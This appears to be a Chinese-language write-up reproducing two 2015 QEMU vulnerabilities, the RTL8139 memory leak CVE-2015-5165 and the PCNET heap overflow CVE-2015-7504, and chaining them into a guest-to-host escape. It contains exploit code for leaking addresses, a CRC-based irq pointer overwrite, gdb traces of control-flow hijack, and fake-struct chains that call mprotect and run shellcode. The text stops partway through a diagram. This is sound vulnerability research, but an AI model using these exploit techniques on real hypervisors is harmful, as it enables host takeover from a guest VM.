CVE-2015-5165 & CVE-2015-7504 Recurrence
第一次接触 QEMU 模拟设备相关的漏洞,对 CVE-2015-5165 和 CVE-2015-7504 进行复现。
- 1. QEMU Environment Setup
- 2. MMU Test
- 3. CVE-2015-5165(Memory Leak)
- 4. CVE-2015-7504(Heap Overflow)
- 5. Exploit
- 6. References
奇虎 360 的刘旭和汪圣平在 HITB 2016 展示了 KVM/QEMU 的两个新漏洞(CVE-2015-5165 和 CVE-2015-7504),对 RTL8139 和 PCNET 两种模拟网卡进行攻击,并成功逃逸虚拟机,拿到宿主机权限。
1. QEMU Environment Setup
宿主机:Ubuntu 14.04
首先下载指定版本的 QEMU 源码,国内用户可以使用 Gitee 的镜像站:
$ git clone https://gitee.com/mirrors/qemu.git
$ cd qemu
$ git checkout bd80b59
安装相关依赖:
$ sudo apt-get install -y python pkg-config zlib1g-dev libglib2.0-dev libpixman-1-dev libtool libsdl1.2-dev
对 QEMU 进行编译:
$ mkdir -p bin/debug/native
$ cd bin/debug/native
$ ../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
$ make
$ ./x86_64-softmmu/qemu-system-x86_64 --version
QEMU emulator version 2.3.93, Copyright (c) 2003-2008 Fabrice Bellard
1.1. Nornal Setup
创建 Ubuntu 磁盘并以 CDROM 的方式启动虚拟机,安装 Ubuntu 系统:
$ /path/to/qemu-img create -f qcow2 ubuntu.img 60G
$ /path/to/qemu-system-x86_64 -L /path/to/pc-bios -enable-kvm -boot d -cdrom /path/to/ubuntu-16.04.7-desktop-amd64.iso -m 1024 -hda /path/to/ubuntu.img
直接从磁盘启动安装完成的 Ubuntu 系统:
$ /path/to/qemu-system-x86_64 -L /path/to/pc-bios -enable-kvm -m 2048 -drive format=qcow2,file=/path/to/ubuntu.img,if=ide,cache=writeback
1.2. Nographic-mode Setup
编译 Linux-4.15.7 内核:
$ sudo apt-get install -y libelf-dev libssl-dev
$ wget https://mirrors.aliyun.com/linux-kernel/v4.x/linux-4.15.7.tar.gz
$ tar xvf linux-4.15.7.tar.gz
$ cd linux-4.15.7
$ make defconfig
$ make kvmconfig
$ make menuconfig # CONFIG_8139CP=y & CONFIG_PCNET32=y
$ make
构建一个简单的 Debian 文件系统:
$ sudo apt-get install -y debootstrap
$ mkdir demo
$ sudo debootstrap --include=openssh-server,curl,tar,gcc,libc6-dev,time,strace,sudo,less,psmisc,selinux-utils,policycoreutils,checkpolicy,selinux-policy-default stretch demo
通过构建的文件系统创建一个磁盘 demo.img
:
$ cat << EOT > createDebianImage.sh
#!/bin/bash
set -eux
# Set some defaults and enable promtless ssh to the machine for root.
sudo sed -i '/^root/ { s/:x:/::/ }' demo/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a demo/etc/inittab
printf '\nauto enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a demo/etc/network/interfaces
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a demo/etc/fstab
echo "kernel.printk = 7 4 1 3" | sudo tee -a demo/etc/sysctl.conf
echo 'debug.exception-trace = 0' | sudo tee -a demo/etc/sysctl.conf
echo "net.core.bpf_jit_enable = 1" | sudo tee -a demo/etc/sysctl.conf
echo "net.core.bpf_jit_harden = 2" | sudo tee -a demo/etc/sysctl.conf
echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a demo/etc/sysctl.conf
echo -en "127.0.0.1\tlocalhost\n" | sudo tee demo/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a demo/etc/resolve.conf
echo "ubuntu" | sudo tee demo/etc/hostname
sudo mkdir -p demo/root/.ssh/
rm -rf ssh
mkdir -p ssh
ssh-keygen -f ssh/id_rsa -t rsa -N ''
cat ssh/id_rsa.pub | sudo tee demo/root/.ssh/authorized_keys
# Build a disk image
dd if=/dev/zero of=demo.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F demo.img
sudo mkdir -p /mnt/demo
sudo mount -o loop demo.img /mnt/demo
sudo cp -a demo/. /mnt/demo/.
sudo umount /mnt/demo
EOT
直接从磁盘启动系统,并加载编译出来的内核映像:
$ /path/to/qemu-system-x86_64 -L /path/to/pc-bios -kernel /path/to/bzImage -append "console=ttyS0 root=/dev/sda rw" -hda /path/to/demo.img -enable-kvm -m 2G -nographic
后续的 CVE 涉及到对 RTL8139 和 PCNET 两种网卡的利用,在启动虚拟机时需要加上以下参数来启动相应的网卡:
$ $CMD -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -netdev user,id=t1, -device pcnet,netdev=t1,id=nic1
2. MMU Test
需要 root 权限
使用以下代码来获取并输出虚拟机内部的物理内存地址:
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <assert.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
int fd;
uint32_t page_offset(uint32_t addr) {
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr) {
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr) {
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
int main() {
uint8_t *ptr;
uint64_t ptr_mem;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
ptr = malloc(256);
strcpy(ptr, "Where am I?");
printf("%s\n", ptr);
ptr_mem = gva_to_gpa(ptr);
printf("Your physical address is at 0x%lx\n", ptr_mem);
getchar();
return 0;
}
代码测试:
$ ./mmu
Where am I?
Your physical address is at 0x79333010
启动虚拟机时,内存选项设置为 2GB(-m 2048
),故在 QEMU 中会有一块内存区域大小为 2^31
(0x80000000
)作为客户机虚拟内存的物理映射地址。在宿主机使用 gdb 进行调试,通过 info proc mappings
获取到客户机虚拟内存对应的物理映射地址,再加上客户机内部的物理地址,即可在宿主机获取得到客户机中的字符串:
(gdb) info proc mappings
process 5133
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x7f55d4000000 0x7f5654000000 0x80000000 0x0
(gdb) x/s 0x7f55d4000000+0x79333010
0x7f564d333010: "Where am I?"
3. CVE-2015-5165(Memory Leak)
该漏洞主要是进行内存泄漏,需要获取到 QEMU 在宿主机中
.text
段的基地址(用来放 Shellcode)以及用于模拟客户机物理内存的虚拟内存基地址(方便获取一些结构体的地址)。
REALTEK 网卡支持两种接收/传输模式:C 和 C+。当网卡使用 C+ 模式时,网卡会算错 IP 流量包的长度,并发送远大于实际长度的数据信息。具体的漏洞点在 hw/net/rtl8139.c
的 rtl8139_cplus_transmit_one
函数中。当虚拟机往 RTL8139 网卡发送数据包的时,QEMU 会调用该函数进行处理:
...
uint8_t *saved_buffer = s->cplus_txbuffer;
int saved_size = s->cplus_txbuffer_offset;
int saved_buffer_len = s->cplus_txbuffer_len;
...
/* ip packet header */
ip_header *ip = NULL;
int hlen = 0;
uint8_t ip_protocol = 0;
uint16_t ip_data_len = 0;
...
int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
if (proto == ETH_P_IP) {
DPRINTF("+++ C+ mode has IP packet\n");
/* not aligned */
eth_payload_data = saved_buffer + ETH_HLEN;
eth_payload_len = saved_size - ETH_HLEN;
ip = (ip_header*)eth_payload_data;
if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
DPRINTF("+++ C+ mode packet has bad IP version %d "
"expected %d\n", IP_HEADER_VERSION(ip),
IP_HEADER_VERSION_4);
ip = NULL;
} else {
hlen = IP_HEADER_LENGTH(ip); // IP数据报头长度
ip_protocol = ip->ip_p;
ip_data_len = be16_to_cpu(ip->ip_len) - hlen; // IP数据报传输数据长度=总长度-数据报头长度
}
}
...
代码中并没有检查 be16_to_cpu(ip->ip_len)
是否大于等于 hlen
,且 IP 数据报传输数据长度 ip_data_len
被定义为 uint16_t
,导致这里可以构造出一个很大的传输数据长度(比如构造 ip->ip_len=hlen-1
,使得 ip_data_len
的值为 -1,也就是 65535)。之后会判断 ip_data_len
是否大于 MTU,若是则将数据切割成多个 IP 数据报进行发送:
...
/* ETH_MTU = ip header len + tcp header len + payload */
int tcp_data_len = ip_data_len - tcp_hlen;
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
...
int is_last_frame = 0;
for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size) {
uint16_t chunk_size = tcp_chunk_size;
/* check if this is the last frame */
if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) {
is_last_frame = 1;
chunk_size = tcp_data_len - tcp_send_offset;
}
...
/* add 4 TCP pseudoheader fields */
/* copy IP source and destination fields */
memcpy(data_to_checksum, saved_ip_header + 12, 8);
...
if (tcp_send_offset) {
memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);
}
...
rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
0, (uint8_t *) dot1q_buffer);
/* add transferred count to TCP sequence number */
p_tcp_hdr->th_seq = cpu_to_be32(chunk_size + be32_to_cpu(p_tcp_hdr->th_seq));
++send_count;
}
...
在 rtl8139_transfer_frame
函数中,如果设置了 TxLoopBack
,就不会发送 IP 数据报,而是直接将数据从队列中取回:
static void rtl8139_transfer_frame(RTL8139State *s, uint8_t *buf, int size,
int do_interrupt, const uint8_t *dot1q_buf) {
struct iovec *iov = NULL;
struct iovec vlan_iov[3];
...
if (TxLoopBack == (s->TxConfig & TxLoopBack)) {
size_t buf2_size;
uint8_t *buf2;
if (iov) {
buf2_size = iov_size(iov, 3);
buf2 = g_malloc(buf2_size);
iov_to_buf(iov, 3, 0, buf2, buf2_size);
buf = buf2;
}
DPRINTF("+++ transmit loopback mode\n");
rtl8139_do_receive(qemu_get_queue(s->nic), buf, size, do_interrupt);
if (iov) {
g_free(buf2);
}
}
...
}
RTL8139 网卡中相关寄存器的布局如下,这里主要关注和 Exploit 相关的寄存器:
+---------------------------+----------------------------+
0x00 | MAC0 | MAR0 |
+---------------------------+----------------------------+
0x10 | TxStatus0 |
+--------------------------------------------------------+
0x20 | TxAddr0 |
+-------------------+-------+----------------------------+
0x30 | RxBuf |ChipCmd| |
+-------------+------+------+----------------------------+
0x40 | TxConfig | RxConfig | ... |
+-------------+-------------+----------------------------+
| |
| skipping irrelevant registers |
| |
+---------------------------+--+------+------------------+
0xd0 | ... | |TxPoll| ... |
+-------+------+------------+--+------+--+---------------+
0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |
+-------+------+------------+------------+---------------+
TxConfig
:启用/禁用 Tx 标识位,如TxLoopBack
(启用 loopback test 模式)、TxCRC
(删除 CRC 校验)等;RxConfig
:启用/禁用 Rx 标识位,如AcceptBroadcast
(接收广播数据包)、AcceptMulticast
(接收多播数据包)等;CpCmd
:C+ 模式的命令寄存器,主要用于启用一些函数,如CplusRxEnd
(启用接收)、CplusTxEnd
(启用传输)等;TxAddr0
:Tx 描述符表的物理内存地址;RxRingAddrLO
:Rx 描述符表的物理内存地址的低 32 位;RxRingAddrHI
:Rx 描述符表的物理内存地址的高 32 位;TxPoll
:让网卡轮询检查 Tx 描述符。
Tx/Rx 描述符由 rtl8139_desc
结构体定义。Tx/Rx 的缓冲区物理地址由 buf_*
指定,这些地址指向已经发送/接收的数据包,且必须和页对齐。dw0
编码了缓冲区的大小以及一些附加标识位,如 ownership
标识位用于显示缓冲区是否被网卡或驱动占用:
struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo; // buffer物理地址的低32位
uint32_t buf_hi; // buffer物理地址的高32位
};
网卡的相关配置通过 sys/io.h
中的 in*()
/out*()
函数实现,需要 CAP_SYS_RAWIO
权限来实现。下面的代码实现了对网卡的配置和初始化一个 Tx 描述符:
#define RTL8139_PORT 0xc000
#define RTL8139_BUFFER_SIZE 1500
struct rtl8139_desc desc; // Tx描述符结构体
void *rtl8139_tx_buffer; // Tx描述符对应的缓冲区
uint32_t phy_mem; // 物理地址
rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE); // 为Tx描述符申请堆内存
phy_mem = (uint32)gva_to_gpa(rtl8139_tx_buffer); // 获取相应的物理地址
memset(&desc, 0, sizeof(struct rtl8139_desc));
desc->dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN |
CP_TX_IPCS | CP_TX_TCPCS; // 设置相关标识位
desc->dw0 += RTL8139_BUFFER_SIZE; // 设置缓冲区大小
desc.buf_lo = phy_mem; // 设置缓冲区物理地址
iopl(3); // 设置I/O优先级为3
outl(TxLoopBack, RTL8139_PORT + TxConfig); // 设置TxConfig的标识位TxLoopBack
outl(AcceptMyPhys, RTL8139_PORT + RxConfig); // 设置RxConfig的标识位AcceptMyPhys
outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd); // 设置CpCmd的标识位CPlusRxEnb、CPlusTxEnb
outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd); // 设置ChipCmd的标识位CmdRxEnb、CmdTxEnb
outl(phy_mem, RTL8139_PORT + TxAddr0); // 设置TxAddr0的低32位为phy_mem,即物理地址
outl(0x0, RTL8139_PORT + TxAddr0 + 0x4); // 设置TxAddr0的高32位为0
使用 Exploit 进行调试,在漏洞点处设下断点,查看 ip_data_len
的值,发现被设置为了 0xffff:
(gdb) b hw/net/rtl8139.c:2173
Breakpoint 1 at 0x561faa95f79b: file /home/b3ale/src/qemu/hw/net/rtl8139.c, line 2173.
(gdb) c
Continuing.
[Thread 0x7f30d26e6700 (LWP 8975) exited]
[Switching to Thread 0x7f3160f4d700 (LWP 8090)]
Breakpoint 1, rtl8139_cplus_transmit_one (s=0x561fab8a2390)
at /home/b3ale/src/qemu/hw/net/rtl8139.c:2173
2173 if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
(gdb) p/x *ip
$1 = {ip_ver_len = 0x45, ip_tos = 0x0, ip_len = 0x1300, ip_id = 0xadde,
ip_off = 0x40, ip_ttl = 0x40, ip_p = 0x6, ip_sum = 0xadde,
ip_src = 0x10108c0, ip_dst = 0x201a8c0}
(gdb) p/x ip_data_len
$2 = 0xffff
泄漏得到的数据大部分都是 QEMU 中同一个内置结构体 ObjectProperty
(在 include/qom/object.h
中)。QEMU 遵循这样一个对象模型来管理各类设备、内存区域等,通过创建对象并分配相关属性。其中有 4 个函数指针 get/set/resolve/release
:
typedef struct ObjectProperty {
gchar *name;
gchar *type;
gchar *description;
ObjectPropertyAccessor *get;
ObjectPropertyAccessor *set;
ObjectPropertyResolve *resolve;
ObjectPropertyRelease *release;
void *opaque;
QTAILQ_ENTRY(ObjectProperty) node;
} ObjectProperty;
如何根据 ObjectProperty
结构体来获取 .text
地址?
- 首先在
qemu-system-x86_64
二进制文件里搜索上述 4 类函数指针符号的所有静态地址,如property_get_bool
等; - 在读回的数据报里搜索值等于
0x60
的内存 ptr,如果匹配到,认为(u64 *)ptr+1
的地方就是一个潜在的struct ObjectProperty
对象,在 Exploit 中对应的函数是qemu_get_leaked_chunk
; - 在搜索到的内存上,通过页内偏移是否相等来匹配收集到的 4 种函数指针符号的静态地址,如果匹配则认为该地址就是
struct ObjectProperty
对象,在 Exploit 中对应的函数是qemu_get_leaked_object_property
; - 用
object->get/set/resolve/release
的实际地址减去静态编译里算出来的偏移,最终得到.text
加载的地址。
int cmp_page_offset(const void *a, const void *b) {
return page_offset(*(hptr_t *)a) - page_offset(*(hptr_t *)b);
}
/* read the leaked memory and look
* for free'd ObjectProperty structs
*/
size_t qemu_get_leaked_chunk(struct rtl8139_ring *ring, size_t nb_packet,
size_t size, void **leak, size_t leak_max) {
uint64_t *stop, *ptr;
size_t nb_leak = 0;
size_t i;
for (i = 0; i < nb_packet; i++) {
/* TODO skip IP headers */
ptr = (uint64_t *)(ring[i].buffer + 4);
stop = ptr + RTL8139_BUFFER_SIZE/sizeof(uint8_t);
while (ptr < stop) {
/* Look for a chunk of 0x60 bytes */
hsize_t chunk_size = *ptr & CHUNK_SIZE_MASK; // 获取chunk大小
if (chunk_size == size) { // size=0x60
leak[nb_leak++] = ptr + 1;
}
*ptr++;
if (nb_leak > leak_max) {
warnx("[!] too much interesting chunks");
return nb_leak;
}
}
}
return nb_leak;
}
int qemu_get_leaked_object_property(void **leak, size_t nb_leak,
struct qemu_object **found,
struct qemu_object *ref) {
hptr_t *get, *set, *resolve, *release;
int best = 0;
size_t i, j;
#define ATT_SEARCH(att) {\
att = bsearch(&object->att, qemu_object_property_##att,\
NMEMB(qemu_object_property_##att),\
sizeof(qemu_object_property_##att[0]),\
cmp_page_offset);\
if (att != NULL) {\
matches[match].ref = *att;\
matches[match].found = object->att;\
match++;\
}\
}
for (i = 0; i < nb_leak; i++) {
int match = 0, diff_match = 0;
struct {
hptr_t found;
hptr_t ref;
} matches[4];
struct qemu_object *object = (struct qemu_object *)leak[i];
hptr_t offset;
ATT_SEARCH(get);
ATT_SEARCH(set);
ATT_SEARCH(resolve);
ATT_SEARCH(release);
for (j = 1; j < match; j++) {
diff_match += matches[j].found - matches[j-1].found
== matches[j].ref - matches[j-1].ref;
}
match += diff_match;
if (match > best) {
if (get != NULL) ref->get = get ? *get : HNULL;
if (set != NULL) ref->set = set ? *set : HNULL;
if (resolve != NULL) ref->resolve = resolve ? *resolve : HNULL;
if (release != NULL) ref->release = release ? *release : HNULL;
*found = object;
best = match;
}
}
return best;
}
hptr_t qemu_get_phymem_address(struct rtl8139_ring *ring, size_t nb_packet) {
hptr_t *stop, *ptr;
size_t i;
for (i = 0; i < nb_packet; i++) {
/* TODO skip IP headers */
ptr = (hptr_t *)(ring[i].buffer + 4);
stop = ptr + RTL8139_BUFFER_SIZE/sizeof(uint8_t);
while (ptr < stop) {
if ((*ptr & 0xffffff) == 0x78) { // 在内存中匹配0x78
return *ptr - 0x78;
}
*ptr++;
}
}
return 0;
}
int main() {
...
#define ATT_SORT(att) {\
qsort(qemu_object_property_##att, NMEMB(qemu_object_property_##att),\
sizeof(qemu_object_property_##att[0]), cmp_page_offset); /* 对数组qemu_object_property_*做快排 */ \
}
ATT_SORT(get);
ATT_SORT(set);
ATT_SORT(resolve);
ATT_SORT(release);
...
/* look for leaked chunks of 0x60 bytes
* They could correspond to qemu
* ObjectProperty structs
*/
nb_leak = qemu_get_leaked_chunk(rtl8139_rx_ring, rtl8139_rx_nb, 0x60,
leak, LEAK_MAX);
if (!nb_leak) {
errx(-1, "[!] failed to find usable chunks");
}
warnx("[+] found %d potential ObjectProperty structs in memory", nb_leak);
score = qemu_get_leaked_object_property(leak, nb_leak,
&leak_object,
&object_ref);
if (!score) {
errx(-1, "[!] failed to find valid object property");
}
...
phy_mem = qemu_get_phymem_address(rtl8139_rx_ring, rtl8139_rx_nb);
if (!phy_mem) {
errx(-1, "[!] giving up. failed to get VM physical address");
}
phy_mem = ((phy_mem >> 24) << 24) - PHY_RAM;
warnx("[+] VM physical memory mapped at 0x%"PRIxHPTR, phy_mem);
...
}
运行 Exploit,可以泄漏得到 .text
的地址以及物理内存地址:
$ ./cve-2015-5165
...
cve-2015-5165: [+] found 87 potential ObjectProperty structs in memory
cve-2015-5165: [+] .text mapped at 0x7f566abddd30
cve-2015-5165: [+] mprotect mapped at 0x7f566abdd730
cve-2015-5165: [+] qemu_set_irq mapped at 0x7f566addc8eb
cve-2015-5165: [+] VM physical memory mapped at 0x7f55d4000000
通过 gdb 调试验证结果正确性:
(gdb) x/i 0x7f566abddd30
0x7f566abddd30 <_start>: xor %ebp,%ebp
(gdb) x/i 0x7f566abdd730
0x7f566abdd730 <mprotect@plt>:
jmpq *0x86651a(%rip) # 0x7f566b443c50 <mprotect@got.plt>
(gdb) x/i 0x7f566addc8eb
0x7f566addc8eb <qemu_set_irq>: push %rbp
(gdb) info proc mappings
process 5133
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x7f55d4000000 0x7f5654000000 0x80000000 0x0
...
4. CVE-2015-7504(Heap Overflow)
该漏洞主要是缓冲区溢出,用于覆盖某个函数指针并最终执行 Shellcode。
主要漏洞在 hw/net/pcnet.c
的 pcnet_receive()
函数中。s->buffer
是用于存放数据包的数组:
...
PCNetState *s = qemu_get_nic_opaque(nc);
...
uint8_t *src = s->buffer;
...
if (!s->looptest) {
memcpy(src, buf, size);
/* no need to compute the CRC */
src[size] = 0;
src[size + 1] = 0;
src[size + 2] = 0;
src[size + 3] = 0;
size += 4;
} else if (s->looptest == PCNET_LOOPTEST_CRC ||
!CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) { // size必须小于等于4096
uint32_t fcs = ~0;
uint8_t *p = src;
while (p != &src[size]) // 计算CRC校验值
CRC(fcs, *p++);
*(uint32_t *)p = htonl(fcs); // 当size等于4096时,可在此处溢出4字节的CRC校验值
size += 4;
}
...
在 hw/net/pcnet.h
中查看 PCNetState
结构体,在溢出 4096 字节的 buffer 数组后,会覆盖到成员 irq
:
typedef struct PCNetState_st PCNetState;
struct PCNetState_st {
NICState *nic;
NICConf conf;
QEMUTimer *poll_timer;
int rap, isr, lnkst;
uint32_t rdra, tdra;
uint8_t prom[16];
uint16_t csr[128];
uint16_t bcr[32];
int xmit_pos;
uint64_t timer;
MemoryRegion mmio;
uint8_t buffer[4096];
qemu_irq irq;
void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void *dma_opaque;
int tx_busy;
int looptest;
};
在 hw/core/irq.c
和 include/hw/irq.h
中,可以看到 qemu_irq
结构体中有一个 handler 函数。整个调用链为 pcnet_receive()->pcnet_update_irq()->qemu_set_irq()
:
typedef struct IRQState *qemu_irq;
typedef void (*qemu_irq_handler)(void *opaque, int n, int level);
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};
void qemu_set_irq(qemu_irq irq, int level) {
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}
根据上述的代码条件,首先需要设置 PCNET 网卡中相关的标识位。PCNET 网卡有 16 位和 32 位两种模式,默认情况下通过 16 位模式进行设置。下面是 16 位模式的 PCNET 网卡相关的寄存器:
0 16
+----------------------------------+
| EPROM |
+----------------------------------+
| RDP - Data reg for CSR |
+----------------------------------+
| RAP - Index reg for CSR and BCR |
+----------------------------------+
| Reset reg |
+----------------------------------+
| BDP - Data reg for BCR |
+----------------------------------+
PCNET 网卡中有两种内置寄存器,分别是 CSR(Control and Status Register)和 BCR(Bus Control Register)。通过设置 RAP 寄存器来选择 CSR/BCR 寄存器的下标,然后再进行赋值操作。下面两行代码即表示 s->rap=0x0; s->csr[s->rap]=0x3;
:
outw(0x0, PCNET_PORT + RAP);
outw(0x3, PCNET_PORT + RDP);
在 Exploit 中通过初始化一个结构体来完成对网卡的设置,并将结构体通过 CSR1 和 CSR2 寄存器传给 PCNET 网卡:
struct pcnet_config {
uint16_t mode; // 网卡工作模式
uint8_t rlen; // RX描述符的个数 log2 base */
uint8_t tlen; // TX描述符的个数 in log2 base */
uint8_t mac[6]; // MAC地址
uint16_t _reserved;
uint8_t ladr[8]; // 逻辑地址 filter */
uint32_t rx_desc; // RX描述符缓冲区的物理地址
uint32_t tx_desc; // TX描述符缓冲区的物理地址
};
那么如何控制附加的 CRC 值?由于 CRC 是可逆的,可以在确定 CRC 值后,再构造相应的数据包来达到改成目标地址的目的。
漏洞的利用思路主要是构造一个假的 IRQState
结构体,并使得 s->irq
指向该结构体,其中 handler
设置为想要执行的函数地址或者是 Shellcode。然后根据之前泄漏得到的内存地址,计算伪造结构体的地址,并构造一个 4KB 大小的数据包,进行 CRC 校验后发送。当数据包被 PCNET 网卡接收到后,会通过 pcnet_receive()
进行以下操作:
- 将数据包内容复制到大小为 4096 个字节的
s->buffer
变量中; - 计算数据包的 CRC 值并附加到
s->buffer
末尾,该 4 字节的 CRC 值会覆盖后面的s->irq
变量,即可以指向构造的IRQState
结构体; - 调用
pcnet_update_irq()
函数,并在其中调用到qemu_set_irq()
,并执行构造的handler
。
可以覆盖到
s->irq
的低 4 字节,意味着我们构造的IRQState
结构体必须和s->irq
在同一块内存段,才有机会控制程序执行流程。在没有设置编译标识CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE
的宿主机内核中,就无法满足这一条件。这里安装了 Linux-3.16 的内核作为后续的环境:$ sudo apt-get install -y linux-headers-3.16.0-77 linux-headers-3.16.0-77-generic linux-image-3.16.0-77-generic
PS:编译选项
CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE
的主要功能:ELF 可执行文件在开启 PIE 的前提下,借助加载基址的随机化,位置无关的代码也映射到随机化的地址上。若不开随机化的情形,则以ELF_ET_DYN_BASE
作为基址进行加载。见 Linux-3.16 源码中fs/binfmt_elf.c:803
:/* Try and get dynamic programs out of the way of the * default mmap base, as well as whatever program they * might try to exec. This is because the brk will * follow the loader, and is not movable. */ #ifdef CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE /* Memory randomization might have been switched off * in runtime via sysctl or explicit setting of * personality flags. * If that is the case, retain the original non-zero * load_bias value in order to establish proper * non-randomized mappings. */ if (current->flags & PF_RANDOMIZE) load_bias = 0; else load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr); #else load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr); #endif
使用 gdb 对 Exploit 进行调试,可以看到最终 rip 被劫持为覆盖 4 字节后变量 p
的值:
(gdb) b hw/net/pcnet.c:1082
Breakpoint 1 at 0x7f565006ffa6: file /home/b3ale/src/qemu/hw/net/pcnet.c, line 1082.
(gdb) c
Continuing.
[Thread 0x7f564974a700 (LWP 5182) exited]
[New Thread 0x7f55fa7e7700 (LWP 5202)]
[Switching to Thread 0x7f5648f49700 (LWP 5183)]
Breakpoint 1, pcnet_receive (nc=0x7f56517d4b90, buf=0x7f56517d06a0 "RT",
size_=4096) at /home/b3ale/src/qemu/hw/net/pcnet.c:1082
1082 *(uint32_t *)p = htonl(fcs);
(gdb) p/x *(uint64_t *)p
$1 = 0x7f56517d4a80
(gdb) n
[Thread 0x7f55fa7e7700 (LWP 5202) exited]
1083 size += 4;
(gdb) p/x *(uint64_t *)p
$2 = 0x7f56deadbeef
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007f565000a916 in qemu_set_irq (irq=0x7f56deadbeef, level=0)
at /home/b3ale/src/qemu/hw/core/irq.c:43
43 irq->handler(irq->opaque, irq->n, level);
5. Exploit
通过 CVE-2015-5165 可以泄漏包括 .text
段、.plt
段以及相关函数的地址绕过 ASLR。而通过 CVE-2015-7504 可以控制的 QEMU 为客户机开辟的物理地址范围低 4 位,构造相应的结构体能够达到控制程序执行流程的目的。两者结合就有机会拿到宿主机的权限。
但直接调用 system()
或者是 execve()
会导致失去对客户机物理内存的控制。因为 QEMU 映射的部分物理内存启用了 MADV_DONTFORK
标识,即不能在 fork()
后继承父进程的物理内存空间。故引出了另一条思路,即布置 Shellcode 来做反弹 Shell。因为漏洞的调用链 qemu_set_irq()
可以被多次触发,可以构造多个 IRQState
结构体。先选择某段没有启用 MADV_DONTFORK
的内存空间并布置 Shellcode,然后调用 mprotect
设置该内存空间为可执行(PROT_EXEC
),最后调用该内存空间布置的 Shellcode。
void qemu_set_irq(qemu_irq irq, int level) {
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}
在调用 irq->handler
时,传入了三个参数,前两个 irq->opaque
和 irq->n
都是可控的,接下来主要是控制 level
并设置为 PROT_READ | PROT_WRITE | PROT_EXEC
(权限全开),以方便后面调用 mprotect
。这里先调用一次 qemu_set_irq()
,此时第二个参数就是 level
,提前将其设置为 mprotect()
的第三个参数的值,然后再调用 mprotect()
。
结合 IRQState
的结构体可以有以下抽象的理解:
struct IRQState {
uint8_t _nothing[44];
uint64_t handler; // 调用函数
uint64_t arg_1; // 第一个参数
int32_t arg_2; // 第二个参数
};
struct IRQState fake_irq[2];
hptr_t fake_irq_mem = gva_to_hva(fake_irq);
fake_irq[0].handler = qemu_set_irq_addr; // 调用qemu_set_irq
fake_irq[0].arg_1 = fake_irq_mem + sizeof(struct IRQState);
fake_irq[0].arg_2 = PROT_READ | PROT_WRITE | PROT_EXEC;
fake_irq[1].handler = mprotec_addrt; // 调用mprotect
fake_irq[1].arg_1 = (fake_irq_mem >> PAGE_SHIFT) << PAGE_SHIFT;
fake_irq[1].arg_2 = PAGE_SIZE;
与此同时,如果将第一个构造结构体的 handler
及第一个参数分别修改为 Shellcode 的地址和数据,就可以直接达到执行的目的。Shellcode 通过在某个端口上绑定服务,在其他机器上可以直接反弹拿到权限:
fake_irq[0].handler = shellcode_addr;
fake_irq[0].arg_1 = shellcode_data;
以上方法可能会受到防火墙的限制,还有另一种共享内存的方法同样可以实现提权的操作。首先创建两块缓冲区(分别用于客户机到宿主机、宿主机到客户机两个方向),并分别提供自旋锁来控制各自的读写。Shellcode 用于打开一个 /bin/sh
进程,同时创建两个线程,通过共享内存分别用于 Exploit 对 Shell 的读写操作(stdin
/stdout
),同时在 Exploit 中还有第三个线程用于处理错误输出(stderr
):
GUEST SHARED MEMORY HOST
----- ------------- ----
+------------+ +------------+
| exploit | | QEMU |
| (thread) | | (main) |
+------------+ +------------+
